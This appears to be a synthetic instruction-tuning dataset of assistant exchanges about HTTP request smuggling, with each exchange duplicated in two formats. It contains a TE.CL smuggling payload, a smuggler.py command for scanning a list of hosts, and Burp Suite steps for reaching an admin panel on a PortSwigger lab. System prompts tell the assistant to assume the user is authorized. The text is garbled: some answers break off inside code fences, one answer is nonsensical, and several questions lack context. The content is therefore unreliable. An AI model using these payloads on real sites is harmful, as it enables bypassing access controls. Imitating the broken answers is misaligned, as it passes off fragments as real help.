System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform HTTP request smuggling - Practice?

[Assistant]
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform HTTP request smuggling - Practice?

Response:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `POST /search HTTP/1.1`?

[Assistant] This command is used for http request smuggling - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `POST /search HTTP/1.1`?

Response: This command is used for http request smuggling - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is HTTP request smuggling - Using smuggler.py?

[Assistant]
Tools like smuggler.py (Python) can be used to identify potential HTTP request smuggling vulnerabilities.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is HTTP request smuggling - Using smuggler.py?

Response:
Tools like smuggler.py (Python) can be used to identify potential HTTP request smuggling vulnerabilities.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute HTTP request smuggling - Using smuggler.py?

[Assistant]
Tools like smuggler.py (Python) can be used to identify potential HTTP request smuggling vulnerabilities.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute HTTP request smuggling - Using smuggler.py?

Response:
Tools like smuggler.py (Python) can be used to identify potential HTTP request smuggling vulnerabilities.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain for a list of hosts

[Assistant]
cat list_of_hosts.txt | python3 smuggler.py
```

![](assets/RSPOC2.png)
screenshot example of smuggler.py{.caption}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
cat list_of_hosts.txt | python3 smuggler.py
```

![](assets/RSPOC2.png)
screenshot example of smuggler.py{.caption}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute for a list of hosts?

[Assistant]
cat list_of_hosts.txt | python3 smuggler.py
```

![](assets/RSPOC2.png)
screenshot example of smuggler.py{.caption}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
cat list_of_hosts.txt | python3 smuggler.py
```

![](assets/RSPOC2.png)
screenshot example of smuggler.py{.caption}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of HTTP request smuggling - Using Burp Suite

[Assistant]
> [!TIP]
> The HTTP Request Smuggler extension on the BApp Store is used in the following example.

The scan option can be used to

* scan for possible HTTP Request Smuggling
* or launch an "auto smuggle" with Smuggle Prob option (Burp Suite Collaborator is required to do that)

If Smuggle Prob didn't manage to exploit HTTP Request Smuggling but identified it, or if manual request smuggling operations were started in the repeater tab:

* Use the turbo intruder -> right click on the request -> Extensions -> HTTP Request Smuggler -> Smuggle Attack (CL.TE or TE.CL, depending on what the manual operations or Smuggle Prob identified)

In the screenshot below, a CL.TE Request Smuggling type was identified. Access to the admin panel is attempted. The prefix was changed. The prefix will be the "smuggle" part of the request.

![](assets/RSPOC1.png)

The turbo intruder helps by finding the right Content-length header to smuggle the attack properly (n.b. this part is always tricky to perform).

![](assets/RSPOC3.png)

Admin panel was accessed properly.

::: details Scenario example: TE.CL exploit on PortSwigger Lab
Goal here is to access the admin panel

The following is the initial request that will be modified for request smuggling attacks.

``
GET / HTTP/1.1
Host: 0af2004803e19d8dc040db3100680078.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of HTTP request smuggling - Using Burp Suite

Response:
> [!TIP]
> The HTTP Request Smuggler extension on the BApp Store is used in the following example.

The scan option can be used to

* scan for possible HTTP Request Smuggling
* or launch an "auto smuggle" with Smuggle Prob option (Burp Suite Collaborator is required to do that)

If Smuggle Prob didn't manage to exploit HTTP Request Smuggling but identified it, or if manual request smuggling operations were started in the repeater tab:

* Use the turbo intruder -> right click on the request -> Extensions -> HTTP Request Smuggler -> Smuggle Attack (CL.TE or TE.CL, depending on what the manual operations or Smuggle Prob identified)

In the screenshot below, a CL.TE Request Smuggling type was identified. Access to the admin panel is attempted. The prefix was changed. The prefix will be the "smuggle" part of the request.

![](assets/RSPOC1.png)

The turbo intruder helps by finding the right Content-length header to smuggle the attack properly (n.b. this part is always tricky to perform).

![](assets/RSPOC3.png)

Admin panel was accessed properly.

::: details Scenario example: TE.CL exploit on PortSwigger Lab
Goal here is to access the admin panel

The following is the initial request that will be modified for request smuggling attacks.

``
GET / HTTP/1.1
Host: 0af2004803e19d8dc040db3100680078.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
``